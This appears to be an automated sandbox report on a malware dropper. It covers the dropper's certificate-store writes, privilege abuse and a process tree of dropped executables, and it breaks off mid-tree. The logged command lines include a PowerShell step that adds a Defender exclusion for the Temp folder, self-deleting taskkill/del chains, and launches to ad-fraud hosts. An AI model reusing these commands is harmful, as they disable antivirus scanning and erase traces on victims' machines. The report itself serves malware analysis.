0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Sun150d896340a863.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Sun150d896340a863.exe -
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 69 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 120 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: CmdExeWriteProcessMemorySpam 4 IoCs
pid Process 632 GcleanerEU.exe 2940 installer.exe 884 anyname.exe 2492 IEXPLORE.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 856 Sun15223697c98.exe 856 Sun15223697c98.exe 1536 powershell.exe 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1008 Sun150d896340a863.exe 1008 Sun150d896340a863.exe 1008 Sun150d896340a863.exe 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 2700 ultramediaburner.tmp 2700 ultramediaburner.tmp 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1008 Sun150d896340a863.exe 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1240 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 856 Sun15223697c98.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeCreateTokenPrivilege 1252 Sun150faeb3537d.exe Token: SeAssignPrimaryTokenPrivilege 1252 Sun150faeb3537d.exe Token: SeLockMemoryPrivilege 1252 Sun150faeb3537d.exe Token: SeIncreaseQuotaPrivilege 1252 Sun150faeb3537d.exe Token: SeMachineAccountPrivilege 1252 Sun150faeb3537d.exe Token: SeTcbPrivilege 1252 Sun150faeb3537d.exe Token: SeSecurityPrivilege 1252 Sun150faeb3537d.exe Token: SeTakeOwnershipPrivilege 1252 Sun150faeb3537d.exe Token: SeLoadDriverPrivilege 1252 Sun150faeb3537d.exe Token: SeSystemProfilePrivilege 1252 Sun150faeb3537d.exe Token: SeSystemtimePrivilege 1252 Sun150faeb3537d.exe Token: SeProfSingleProcessPrivilege 1252 Sun150faeb3537d.exe Token: SeIncBasePriorityPrivilege 1252 Sun150faeb3537d.exe Token: SeCreatePagefilePrivilege 1252 Sun150faeb3537d.exe Token: SeCreatePermanentPrivilege 1252 Sun150faeb3537d.exe Token: SeBackupPrivilege 1252 Sun150faeb3537d.exe Token: SeRestorePrivilege 1252 Sun150faeb3537d.exe Token: SeShutdownPrivilege 1252 Sun150faeb3537d.exe Token: SeDebugPrivilege 1252 Sun150faeb3537d.exe Token: SeAuditPrivilege 1252 Sun150faeb3537d.exe Token: SeSystemEnvironmentPrivilege 1252 Sun150faeb3537d.exe Token: SeChangeNotifyPrivilege 1252 Sun150faeb3537d.exe Token: SeRemoteShutdownPrivilege 1252 Sun150faeb3537d.exe Token: SeUndockPrivilege 1252 Sun150faeb3537d.exe Token: SeSyncAgentPrivilege 1252 Sun150faeb3537d.exe Token: SeEnableDelegationPrivilege 1252 Sun150faeb3537d.exe Token: SeManageVolumePrivilege 1252 Sun150faeb3537d.exe Token: SeImpersonatePrivilege 1252 Sun150faeb3537d.exe Token: SeCreateGlobalPrivilege 1252 Sun150faeb3537d.exe Token: 31 1252 Sun150faeb3537d.exe Token: 32 1252 Sun150faeb3537d.exe Token: 33 1252 Sun150faeb3537d.exe Token: 34 1252 Sun150faeb3537d.exe Token: 35 1252 Sun150faeb3537d.exe Token: SeDebugPrivilege 2044 Sun157ff8e4440aa.exe Token: SeDebugPrivilege 1640 Sun1584240df9fe73a3.exe Token: SeDebugPrivilege 1536 powershell.exe Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeDebugPrivilege 2596 taskkill.exe Token: SeDebugPrivilege 2728 PublicDwlBrowser1100.exe Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeDebugPrivilege 3032 8.exe Token: SeDebugPrivilege 2248 BearVpn 3.exe Token: SeDebugPrivilege 2680 taskkill.exe Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeDebugPrivilege 2716 taskkill.exe Token: SeDebugPrivilege 1644 3515259.exe Token: SeDebugPrivilege 2324 4878931.exe Token: SeDebugPrivilege 2164 6582302.exe Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeShutdownPrivilege 1240 Process not Found Token: SeDebugPrivilege 2420 taskkill.exe Token: SeDebugPrivilege 2480 8927813.exe -
Suspicious use of FindShellTrayWindow 12 IoCs
pid Process 2700 ultramediaburner.tmp 1536 setup_2.tmp 1240 Process not Found 1240 Process not Found 2940 installer.exe 1836 iexplore.exe 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found -
Suspicious use of SendNotifyMessage 2 IoCs
pid Process 1240 Process not Found 1240 Process not Found -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 1836 iexplore.exe 1836 iexplore.exe 2836 IEXPLORE.EXE 2836 IEXPLORE.EXE 2836 IEXPLORE.EXE 2836 IEXPLORE.EXE 2492 IEXPLORE.EXE 2492 IEXPLORE.EXE 2492 IEXPLORE.EXE 2492 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1992 wrote to memory of 1788 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 1788 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 1788 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 1788 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 1788 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 1788 1992 setup_x86_x64_install.exe 26 PID 1992 wrote to memory of 1788 1992 setup_x86_x64_install.exe 26 PID 1788 wrote to memory of 1800 1788 setup_installer.exe 27 PID 1788 wrote to memory of 1800 1788 setup_installer.exe 27 PID 1788 wrote to memory of 1800 1788 setup_installer.exe 27 PID 1788 wrote to memory of 1800 1788 setup_installer.exe 27 PID 1788 wrote to memory of 1800 1788 setup_installer.exe 27 PID 1788 wrote to memory of 1800 1788 setup_installer.exe 27 PID 1788 wrote to memory of 1800 1788 setup_installer.exe 27 PID 1800 wrote to memory of 1088 1800 setup_install.exe 29 PID 1800 wrote to memory of 1088 1800 setup_install.exe 29 PID 1800 wrote to memory of 1088 1800 setup_install.exe 29 PID 1800 wrote to memory of 1088 1800 setup_install.exe 29 PID 1800 wrote to memory of 1088 1800 setup_install.exe 29 PID 1800 wrote to memory of 1088 1800 setup_install.exe 29 PID 1800 wrote to memory of 1088 1800 setup_install.exe 29 PID 1800 wrote to memory of 240 1800 setup_install.exe 30 PID 1800 wrote to memory of 240 1800 setup_install.exe 30 PID 1800 wrote to memory of 240 1800 setup_install.exe 30 PID 1800 wrote to memory of 240 1800 setup_install.exe 30 PID 1800 wrote to memory of 240 1800 setup_install.exe 30 PID 1800 wrote to memory of 240 1800 setup_install.exe 30 PID 1800 wrote to memory of 240 1800 setup_install.exe 30 PID 1800 wrote to memory of 1704 1800 setup_install.exe 31 PID 1800 wrote to memory of 1704 1800 setup_install.exe 31 PID 1800 wrote to memory of 1704 1800 setup_install.exe 31 PID 1800 wrote to memory of 1704 1800 setup_install.exe 31 PID 1800 wrote to memory of 1704 1800 setup_install.exe 31 PID 1800 wrote to memory of 1704 1800 setup_install.exe 31 PID 1800 wrote to memory of 1704 1800 setup_install.exe 31 PID 1800 wrote to memory of 1972 1800 setup_install.exe 32 PID 1800 wrote to memory of 1972 1800 setup_install.exe 32 PID 1800 wrote to memory of 1972 1800 setup_install.exe 32 PID 1800 wrote to memory of 1972 1800 setup_install.exe 32 PID 1800 wrote to memory of 1972 1800 setup_install.exe 32 PID 1800 wrote to memory of 1972 1800 setup_install.exe 32 PID 1800 wrote to memory of 1972 1800 setup_install.exe 32 PID 1800 wrote to memory of 436 1800 setup_install.exe 33 PID 1800 wrote to memory of 436 1800 setup_install.exe 33 PID 1800 wrote to memory of 436 1800 setup_install.exe 33 PID 1088 wrote to memory of 1536 1088 cmd.exe 46 PID 1088 wrote to memory of 1536 1088 cmd.exe 46 PID 1088 wrote to memory of 1536 1088 cmd.exe 46 PID 1088 wrote to memory of 1536 1088 cmd.exe 46 PID 1088 wrote to memory of 1536 1088 cmd.exe 46 PID 1088 wrote to memory of 1536 1088 cmd.exe 46 PID 1088 wrote to memory of 1536 1088 cmd.exe 46 PID 1800 wrote to memory of 436 1800 setup_install.exe 33 PID 1800 wrote to memory of 436 1800 setup_install.exe 33 PID 1800 wrote to memory of 436 1800 setup_install.exe 33 PID 1800 wrote to memory of 436 1800 setup_install.exe 33 PID 240 wrote to memory of 1040 240 cmd.exe 34 PID 240 wrote to memory of 1040 240 cmd.exe 34 PID 240 wrote to memory of 1040 240 cmd.exe 34 PID 240 wrote to memory of 1040 240 cmd.exe 34 PID 1704 wrote to memory of 632 1704 cmd.exe 35 PID 1704 wrote to memory of 632 1704 cmd.exe 35 PID 1704 wrote to memory of 632 1704 cmd.exe 35 PID 1704 wrote to memory of 632 1704 cmd.exe 35
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1788 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSCF605714\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1536
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun152260a303c33a7.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:240 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun152260a303c33a7.exeSun152260a303c33a7.exe5⤵
- Executes dropped EXE
PID:1040
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15d8dfe2c6d17.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun15d8dfe2c6d17.exeSun15d8dfe2c6d17.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:632
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun150d896340a863.exe4⤵
- Loads dropped DLL
PID:1972 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun150d896340a863.exeSun150d896340a863.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:1008 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Sun150d896340a863.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun150d896340a863.exe" & del C:\ProgramData\*.dll & exit6⤵PID:2652
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Sun150d896340a863.exe /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2420
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
PID:2508
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15b61bf18b0f1.exe4⤵
- Loads dropped DLL
PID:436 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun15b61bf18b0f1.exeSun15b61bf18b0f1.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1600 -
C:\Users\Admin\AppData\Local\Temp\is-IR523.tmp\Sun15b61bf18b0f1.tmp"C:\Users\Admin\AppData\Local\Temp\is-IR523.tmp\Sun15b61bf18b0f1.tmp" /SL5="$70130,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun15b61bf18b0f1.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1068 -
C:\Users\Admin\AppData\Local\Temp\is-S8AKK.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-S8AKK.tmp\46807GHF____.exe" /S /UID=burnerch27⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:2364 -
C:\Program Files\DVD Maker\LVURIHVBSD\ultramediaburner.exe"C:\Program Files\DVD Maker\LVURIHVBSD\ultramediaburner.exe" /VERYSILENT8⤵
- Executes dropped EXE
PID:2720 -
C:\Users\Admin\AppData\Local\Temp\is-AKLB2.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-AKLB2.tmp\ultramediaburner.tmp" /SL5="$30194,281924,62464,C:\Program Files\DVD Maker\LVURIHVBSD\ultramediaburner.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:2700 -
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
- Executes dropped EXE
PID:2344
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\29-cbec2-a72-76e91-bf47485a5d76d\Qerycivero.exe"C:\Users\Admin\AppData\Local\Temp\29-cbec2-a72-76e91-bf47485a5d76d\Qerycivero.exe"8⤵
- Executes dropped EXE
PID:2016 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1836 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1836 CREDAT:275457 /prefetch:210⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2836 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe /s "C:\Users\Admin\AppData\Local\Temp\259368479.exe"11⤵PID:752
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe12⤵PID:3920
-
-
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1836 CREDAT:340994 /prefetch:210⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:2492
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1836 CREDAT:341019 /prefetch:210⤵PID:3812
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1836 CREDAT:537636 /prefetch:210⤵PID:2096
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1836 CREDAT:2962459 /prefetch:210⤵PID:3880
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1836 CREDAT:1258553 /prefetch:210⤵PID:4636
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1836 CREDAT:1324088 /prefetch:210⤵PID:5144
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad9⤵PID:328
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18514839⤵PID:7648
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18515139⤵PID:7244
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=20872159⤵PID:6644
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.directdexchange.com/jump/next.php?r=42631199⤵PID:4696
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?id=12942319⤵PID:4716
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1492888&var=39⤵PID:8240
-
-
-
C:\Users\Admin\AppData\Local\Temp\9d-2bae2-d9f-52ea8-c164892d95296\Figaegujyhe.exe"C:\Users\Admin\AppData\Local\Temp\9d-2bae2-d9f-52ea8-c164892d95296\Figaegujyhe.exe"8⤵
- Executes dropped EXE
PID:748 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fnzqho1k.gzc\GcleanerEU.exe /eufive & exit9⤵PID:2680
-
C:\Users\Admin\AppData\Local\Temp\fnzqho1k.gzc\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\fnzqho1k.gzc\GcleanerEU.exe /eufive10⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:632 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\fnzqho1k.gzc\GcleanerEU.exe" & exit11⤵PID:3004
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f12⤵
- Kills process with taskkill
PID:2772
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\adecfz0i.2cp\installer.exe /qn CAMPAIGN="654" & exit9⤵PID:1412
-
C:\Users\Admin\AppData\Local\Temp\adecfz0i.2cp\installer.exeC:\Users\Admin\AppData\Local\Temp\adecfz0i.2cp\installer.exe /qn CAMPAIGN="654"10⤵
- Executes dropped EXE
- Enumerates connected drives
- Modifies system certificate store
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of FindShellTrayWindow
PID:2940 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\adecfz0i.2cp\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\adecfz0i.2cp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631279028 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵PID:2600
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ifhoqsek.fxq\anyname.exe & exit9⤵PID:2104
-
C:\Users\Admin\AppData\Local\Temp\ifhoqsek.fxq\anyname.exeC:\Users\Admin\AppData\Local\Temp\ifhoqsek.fxq\anyname.exe10⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:884
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4mbjbpc5.yx3\gcleaner.exe /mixfive & exit9⤵PID:752
-
C:\Users\Admin\AppData\Local\Temp\4mbjbpc5.yx3\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\4mbjbpc5.yx3\gcleaner.exe /mixfive10⤵PID:2492
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\4mbjbpc5.yx3\gcleaner.exe" & exit11⤵PID:2640
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f12⤵
- Kills process with taskkill
PID:608
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\go1s0vn1.lyk\autosubplayer.exe /S & exit9⤵PID:3696
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15223697c98.exe4⤵
- Loads dropped DLL
PID:1636 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun15223697c98.exeSun15223697c98.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:856
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun157ff8e4440aa.exe4⤵
- Loads dropped DLL
PID:748 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun157ff8e4440aa.exeSun157ff8e4440aa.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2044 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2532 -
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
